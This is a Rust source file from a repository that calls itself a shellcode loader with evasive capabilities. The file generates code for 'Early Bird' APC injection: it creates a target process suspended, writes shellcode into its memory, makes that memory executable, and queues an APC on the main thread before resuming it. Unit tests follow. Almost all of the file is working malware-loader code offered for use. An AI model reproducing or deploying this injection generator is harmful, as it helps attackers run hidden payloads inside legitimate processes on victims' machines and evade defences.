myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
early_bird.rs (5614B)
1 pub fn early_bird_import() -> String { 2 super::common::common_process_injection_imports().to_string() 3 } 4 5 pub fn early_bird_const() -> String { 6 format!( 7 r#" 8 {} 9 10 {} 11 12 #[link(name = "kernel32")] 13 extern "system" {{ 14 {} 15 16 fn QueueUserAPC( 17 pfn_apc: *const std::ffi::c_void, 18 thread: *mut std::ffi::c_void, 19 data: usize, 20 ) -> u32; 21 22 fn ResumeThread(thread: *mut std::ffi::c_void) -> u32; 23 24 fn CloseHandle(object: *mut std::ffi::c_void) -> i32; 25 }} 26 27 {} 28 "#, 29 super::common::COMMON_MEMORY_CONSTANTS, 30 super::common::COMMON_PROCESS_CONSTANTS, 31 super::common::common_process_injection_externs(), 32 super::common::common_process_structures() 33 ) 34 } 35 36 pub fn early_bird_init() -> String { 37 String::new() 38 } 39 40 pub fn early_bird_process(process: &str) -> String { 41 let process_wide = format!( 42 "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();", 43 process.replace('\\', "\\\\") 44 ); 45 46 format!( 47 r#" 48 unsafe {{ 49 {} 50 51 let mut si = StartupInfoW {{ 52 cb: std::mem::size_of::<StartupInfoW>() as u32, 53 reserved1: ptr::null_mut(), 54 desktop: ptr::null_mut(), 55 title: ptr::null_mut(), 56 x: 0, 57 y: 0, 58 x_size: 0, 59 y_size: 0, 60 x_count_chars: 0, 61 y_count_chars: 0, 62 fill_attribute: 0, 63 flags: 0, 64 show_window: 0, 65 reserved2: 0, 66 reserved3: ptr::null_mut(), 67 std_input: ptr::null_mut(), 68 std_output: ptr::null_mut(), 69 std_error: ptr::null_mut(), 70 }}; 71 72 let mut pi = ProcessInformation {{ 73 process: ptr::null_mut(), 74 thread: ptr::null_mut(), 75 process_id: 0, 76 thread_id: 0, 77 }}; 78 79 let result = CreateProcessW( 80 process_path.as_ptr(), 81 ptr::null_mut(), 82 ptr::null(), 83 ptr::null(), 84 0, 85 CREATE_SUSPENDED, 86 ptr::null(), 87 ptr::null(), 88 &si, 89 &mut pi, 90 ); 91 92 if result == 0 {{ 93 panic!("failed"); 94 }} 95 96 let addr = VirtualAllocEx( 97 pi.process, 98 ptr::null(), 99 shellcode.len(), 100 MEM_COMMIT | MEM_RESERVE, 101 PAGE_EXECUTE_READWRITE, 102 ); 103 104 if addr.is_null() {{ 105 panic!("failed"); 106 }} 107 108 let write_result = WriteProcessMemory( 109 pi.process, 110 addr, 111 shellcode.as_ptr() as *const std::ffi::c_void, 112 shellcode.len(), 113 ptr::null_mut(), 114 ); 115 116 if write_result == 0 {{ 117 panic!("failed"); 118 }} 119 120 let mut old_protect: u32 = PAGE_READWRITE; 121 let protect_result = VirtualProtectEx( 122 pi.process, 123 addr, 124 shellcode.len(), 125 PAGE_EXECUTE_READ, 126 &mut old_protect, 127 ); 128 129 if protect_result == 0 {{ 130 panic!("failed"); 131 }} 132 133 let apc_result = QueueUserAPC(addr, pi.thread, 0); 134 135 if apc_result == 0 {{ 136 panic!("failed"); 137 }} 138 139 ResumeThread(pi.thread); 140 CloseHandle(pi.thread); 141 CloseHandle(pi.process); 142 }} 143 "#, 144 process_wide 145 ) 146 } 147 148 fn generate_early_bird_template(function_name: &str, process: &str) -> String { 149 super::common::TechniqueTemplateBuilder::new() 150 .with_import(early_bird_import()) 151 .with_const(early_bird_const()) 152 .with_init(early_bird_init()) 153 .with_process(early_bird_process(process)) 154 .build(function_name) 155 } 156 157 pub fn generate_early_bird_code(function_name: &str, process: &str) -> String { 158 generate_early_bird_template(function_name, process) 159 } 160 161 pub struct EarlyBirdGenerator; 162 163 impl super::trait_generator::TechniqueGenerator for EarlyBirdGenerator { 164 fn generate_code(&self, process: &str, function_name: &str) -> String { 165 generate_early_bird_code(function_name, process) 166 } 167 168 fn generate_code_with_dynamic_resolver( 169 &self, 170 process: &str, 171 function_name: &str, 172 _encryption_type: &str, 173 _encryptor: &dyn crate::encryption::Encryptor, 174 ) -> String { 175 self.generate_code(process, function_name) 176 } 177 178 fn requires_process(&self) -> bool { 179 true 180 } 181 182 fn name(&self) -> &'static str { 183 "EarlyBird" 184 } 185 } 186 187 #[cfg(test)] 188 mod tests { 189 use super::*; 190 use crate::internals::templates::techniques::trait_generator::TechniqueGenerator; 191 192 #[test] 193 fn test_generate_early_bird_template_contains_all_parts() { 194 let template = generate_early_bird_template("MyFunction", "cmd.exe"); 195 assert!(template.contains("use std::ptr")); 196 assert!(template.contains("QueueUserAPC")); 197 assert!(template.contains("fn MyFunction")); 198 assert!(template.contains("CREATE_SUSPENDED")); 199 assert!(template.contains("ResumeThread")); 200 } 201 202 #[test] 203 fn test_generate_early_bird_code() { 204 let code = generate_early_bird_code("MyRandomFunc", "notepad.exe"); 205 assert!(code.contains("fn MyRandomFunc")); 206 assert!(code.contains("QueueUserAPC")); 207 assert!(code.contains("VirtualAllocEx")); 208 } 209 210 #[test] 211 fn test_early_bird_generator_name() { 212 let gen = EarlyBirdGenerator; 213 assert_eq!(gen.name(), "EarlyBird"); 214 } 215 216 #[test] 217 fn test_early_bird_requires_process() { 218 let gen = EarlyBirdGenerator; 219 assert!(gen.requires_process()); 220 } 221 }